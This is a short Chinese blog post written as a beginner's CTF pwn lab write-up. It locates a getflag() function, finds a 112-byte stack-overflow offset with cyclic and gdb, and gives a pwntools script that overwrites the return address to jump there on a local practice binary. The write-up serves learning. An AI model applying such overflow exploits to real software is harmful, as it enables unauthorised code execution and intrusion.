CTF Re&&Pwn

PWN实验

2019-03-14  本文已影响8人  喵_ffc4

PWN实验

这可能还真的是我第一次接触这类奇奇怪怪的东西。

首先,想到的肯定是先把pwn这个文件在Ubuntu虚拟机的terminal中执行一遍。

如图所示,随便输入一个什么东西,程序就结束了。

用IDA打开这个程序,发现:

发现了有getflag()函数,再找到getflag()的位置:

地址为0x0804858B.

回到ubuntu里,输入【cyclic 200】生成200个有序字符,以查看什么时候溢出的。

启用gdb调试,输入【gdb pwn】,如下图所示:

开始运行,输入【run】,如下图所示:

将那产生的200个字符作为输入:

观察可知溢出的地方是0x62616164.再输入【cyclic -l 0x62616164】:

得到112,0x62616164对应的ASCII码为'baad',说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。

那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。

写脚本,将其放在112个填充物的后面。


脚本代码:

# -*- coding: utf-8 -*-

"""

Created on Thu Mar 14 15:04:49 2019

@author: ZHANGJIAHAO

"""

from pwn import *

sh=process('./pwn')

elf=ELF('./pwn')

target=0x0804858B

sh.sendline('a'*112+p32(target))

#至此就获得了系统权限

sh.interactive()

#打开交互页面


自己写一个f1ag文件,我在文件里输入的是【{flag}ZJH】,执行效果如下:

最终,获得了系统权限。

上一篇 下一篇

猜你喜欢

热点阅读